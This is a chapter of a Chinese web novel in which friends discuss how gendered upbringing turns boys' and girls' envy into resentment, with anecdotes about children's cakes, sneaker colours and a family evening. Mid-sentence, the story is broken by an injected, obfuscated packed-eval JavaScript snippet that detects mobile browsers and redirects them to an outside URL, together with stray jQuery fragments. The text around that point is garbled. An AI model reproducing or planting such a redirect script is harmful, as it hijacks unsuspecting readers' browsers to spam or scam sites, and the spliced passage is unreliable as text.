181. All Her

作品:《你再跑我要ptsd了

    “这就是男人的愤怒压抑苦吗。”


    “所有人都在被压迫,只不过方式不同罢了。一个捧杀,一个纯夯土机往死里压。”


    “捧杀至少捧了,不像对待另一半人,别说捧可能没生出来就被杀了。”


    “太地狱了。”


    “这就是这个结构最妙的地方。”


    .


    要夯实一整片土地需要费太多力气,不好全压那么就挑一部分出来,捧。


    教男人什么都不该怕,怎么做都没错,将男人变成了怕也不敢说,错也不敢认的孬种。所以他痛苦啊,可他既不敢强硬直视爹的眼睛,又不敢示弱向妈要怀抱,更遑论冲破桎梏挑战结构。所以他只会,也只能,就像从小被灌输的,去讨伐女人。


    看,只要将他们分成矛盾的黑白粉蓝两半,自然一半会去帮着压迫另一半,毫不费力。


    而矛盾始于信息差。


    妹妹羡慕姐姐能学芭蕾可以穿漂亮裙子在灯光下被众人喝彩,姐姐羡慕妹妹不用练功不用节食不用感受害怕在台上失误的惶恐。


    男孩不知道裙子是规训符号,他只是羡慕女孩能穿漂亮的裙子;


    男生不知道来月经要流血会痛会闷会难受,他只羡慕女生来月经就不用跑圈;


    男人不知道生育损伤家务多难做,他只羡慕女人结婚不花钱婚后不上班还能花他的钱。


    男性同样爱美,美是生命对生命最本能最美好的向往,可男性对美的向往被这个系统强行剥离了,他只能眼睁睁看着女性在美丽事物中徜徉,他不知道这种美是失权与镣铐,他只是羡慕社会对女性偏心。


    而羡慕和恨也不过一念。


    .


    “我以前不理解为什么双胞胎都要打扮成一样的。”卢白说。


    “其实不是大人想,是孩子要。”


    “有了豹豹之后才发现,不只双胞胎,是所有小孩都有一种,配平执念,就要和你一样的。”


    蓝序在这上面吃过亏,“我上次回陵湾出差约别绪还有二姐姐一起吃饭,刚好儿童节,我就给糕糕萁萁一人买了一个小蛋糕。”


    “哦no……”卢白预见了希腊悲剧,“你不会买了不一样的吧?”


    “我也没那么傻,大小肯定要一样啊,但是同样大的只剩下不同口味的了,”她越说越小声,“然后我就买了一个榴莲一个芒果……”


    这是第三次世界大战的导火索。


    本来糕糕喜欢榴莲,萁萁喜欢芒果,一人一个圆满和谐。然而画风在蛋糕被端上桌后逐渐开始失控……糕糕想要姐姐的芒果,萁萁想要弟弟的榴莲,调换吧,他又舍不得他的榴莲,她也不舍得她的芒果,虽说平时谁也不缺这一口榴莲和芒果,反正今天这逆风局你有的我也必须得有。


    这事儿也简单啊,塑料小刀一剌,流氓,不儿,榴芒双拼你有我也有,完美。


    不完美。


    榴莲的上面有奶油小兔子,芒果的上面有夹心马卡龙,而二姐夫下刀的时候没有严格遵从中心对称学,于是他看着只有耳朵的兔子,她看着没有馅儿的马卡龙,下一秒高频不和谐二重唱在包间内奏响……


    想象着那场面姜与都觉得鼓膜炸裂,“最后怎么搞了?”


    最后,马卡龙整个儿让别绪吃了,奶油兔子被她刮成没有一丝起伏的大白墙,这才阻止了一场文斗转武。


    糕糕萁萁不知道的是,蛋糕盒里还有第三块巧克力口味,是他俩渴望但现阶段还无法消化的禁忌款,为了不被他们发现,几个大人互相掩护打游击战,这才顺利将蛋糕护送回家交到小豆豆手上--因为课业无法赴宴的萁萁亲姐姐,那第三个娃。


    “端水太难了。”卢白庆幸,“还好我只有一个。”


    “女孩男孩,其实就是人类的两个孩子。”蓝序有些理解了,“但社会只准他们吃不一样的蛋糕。”


    原来错了,原来从一开始,就教错了。


    “我买球鞋的时候,经常喜欢的配色都是男款。”姜与分享她的经历,“我一直以为我这样算是少数。”


    却在某一天某一个吐槽帖下,她找到了她的“世另我”。


    女孩们说厌烦了清一色幼稚的粉紫、无聊的黄白、单薄的荧光、甜腻的马卡龙。她说,“你知道遇见喜欢的款式结果每次点进去都是最小40码的无力感吗?”。她说,“女款永远都是老土的那几种,男款配色就很新潮。”


    共鸣的场面热火朝天,却突然涌入另一种声音,“你们在说什么啊,明明女款好看的更多啊?我喜欢的颜色也没有我穿的码。”


    于是楼砌得更快了,互相认为对面在说屁话。


    他们都觉得对方不可思议不知好歹;


    他们针锋相对火药味十足谁也不让谁;


    他们都想要对方的鞋子;


    他们都羡慕忌恨对方拥有的东西;


    他们都被困在某一种配色;


    他们谁都没办法得到自己想要的鞋子。


    后来妹妹发现家长送姐姐去学芭蕾只是为了用姐姐向富豪老男人换钱,妹妹没有心疼姐姐,她只庆幸“还好不是我”。


    后来男人被妻子拉去尝试分娩体验,二级电流的阵痛便险些让他骨肉分离,他嘴上说“老婆你太不容易了”,他心里想“我操还好我他妈是男的”。


    .


    “但为什么女孩不恨男孩?”蓝序还是不懂,“整天也有人跟女孩子说‘你没有女孩样’,‘那是男孩玩的东西’,为什么女人没有那样恨男人?”


    “当然是因为,”姜与笑容灿烂,“这个世界厌女啊。”


    女孩向上的喜欢顶多算僭越。


    男孩向下的喜欢只能是堕落。


    男人强|奸女人是女人勾引的不要脸。


    女人被男人强|奸是女人活该不检点。


    因为在这个结构叙事中,永远都是她的错。哪怕对错清清楚楚明明白白,但一切必须也只能是她的错。


    .


    “妈妈妈妈妈妈~!”跟她爸联络完感情的凡星飞回来了,撅个腚手脚并用爬上床,对着三面妈姨四面楚歌开始打军体拳。


    “你妈买那排骨不会是兴奋剂猪吧。”姜与展臂保护防坠床。


    卢白闭目冥想,修得“莫生气”真经,便能随床垫震荡化硬了的拳头为,更硬的板砖……


    也只有相对同龄人蓝序能接得住狂野的豹豹拳。


    高强度无间歇有氧耗尽最后一滴肌糖原,凡星终于力竭了。上一秒还在俯卧撑波比跳下一秒就地躺倒,头枕在卢白腿间,脚塞进姜与怀里,手勾着蓝序腕上的皮筋,脸蛋通红,卷毛不翘,眼瞳晶亮,鼻子呼哧热烘烘的汗味透着沐浴露奶香,嘴巴倒是抿着,终于安静得像抠了电池的天使。


    “她这时候最可爱了,”卢白抚着凡星脑门上的汗,“还有睡着的时候。”


    姜与插刀,“后悔了吗?”


    卢白撇撇嘴没说话。


    .


    “你们准备什么时候走?”韩婷婷探头。


    卢白看了眼时间,“这就赶人了?”


    “说什么呢。”韩婷婷推门而入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455297|185824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“我担心再晚开车不安全了。”


    蓝序坐得板正,“阿姨要休息了吗?”


    “没有没有,这才几点,我是怕你们明天还有重要的事,休息不好等下没精神了。”


    “没事我们又不赶时间。”姜与摸摸凡星,“等她睡着了我们再走。”


    闻言韩婷婷没再说什么,到床边坐下,从绒绒睡衣口袋中掏出一个绛红的信封,“我也没给你准备什么,”她说着要将东西塞到姜与手里,“卢白说转账你肯定不收,我特意去取了现金。”


    这种社交场景姜与依旧不能应付自如,“不不不,这,我没道理收啊。”


    韩婷婷没理会姜与的拒绝,嘴上多了强硬拉着姜与的手却仍是温柔,“人生大事呢怎么没道理?”


    “我又不是真的结婚,你这个头开了,纵容我以后三天两头找借口敛财。”姜与只会不正经,“钱收了那我就得去领证摆酒了。”


    “你看看你,给人逼得要壮士赴死了。”


    “说的什么话,结婚就是赴死啊?”韩婷婷睨一眼卢白回头又是和蔼,“唉,我是不懂你们现在年轻人了,但阿姨是真为你高兴。”她有些动容,“人一辈子难得能有这样一个好朋友,卢白现在也有豹豹了,你也好好的,我希望你们以后都一直好好的,健健康康平平安安。所以不管是什么,这是阿姨对你的祝福,你不能拒绝一定要收下的,听到没?”


    “拿着吧。”卢白两边递台阶,“省得她拿着她那点退休金投资夕阳红杀猪盘。”


    韩婷婷:……


    凡星也跟着瞎凑热闹,一骨碌翻身,夺过红包就往姜与怀里塞,还皱着眉板个脸教育她,“给你!你拿!快拿!”


    “好好好我拿我拿。”姜与听话,接过那方沉甸甸的祝福真诚道,“谢谢阿姨。”


    “哎呦跟我谢什么谢。”韩婷婷笑意更深,“豹豹,”她起身,“走,我们先刷牙吧?”


    大概是被氛围感染,凡星这会儿脾气国泰民安,溜下床去搬起自己的小凳子。


    看着凡星进了浴室韩婷婷悄咪咪,“她昨天说,要等你来了和你一起吃维C软糖,要‘和姜与小姨一人一包’。结果今天她自己忘了。忘了好,忘了刚好别吃了。”


    …………


    .


    “干吗,你也没电了?”


    蓝序这半天都没吭声。


    “没,”姜与将信封揣进口袋,“她只是对我跟段野的关系持保留意见,不想参与祝福。”


    蓝序白她一眼,“我不祝福我跑这么远来给你‘证婚’。”


    姜与拒绝“道德绑架”,“那确实今天这个结果你也有一定责任。”


    “我就是……都说不要‘身边即世界’,”蓝序看着姜与口袋露出的那一角绛红,“但从小我看到的都是,阿婆和外公、姨妈姨父、别绪和段离、你跟段野,我妈跟我爸虽然不是多甜蜜,但也没有那些乱七八糟狗血。所以我下意识还是会觉得,人间是有真情的。”


    “人间当然有真情啊。而且这样不好吗,在一个有真情有善意有爱的氛围里长大,很幸福欸。”


    “就是,有机会自己选谁选会选一个家暴的爸愤怒的妈外加一堆同父异母姐妹兄弟的家啊。”


    “所以我就觉得我的身边和世界好割裂,显得我很白痴。”


    “外面那个,”卢白拇指示意浴室韩婷婷方向,“英年早离。还有,”她又拍拍胸脯,“我啊。我刚好拓宽你的世界。”


    “欸,”她这么一说姜与先来了兴致,“你和谢伯宇怎么认识的?”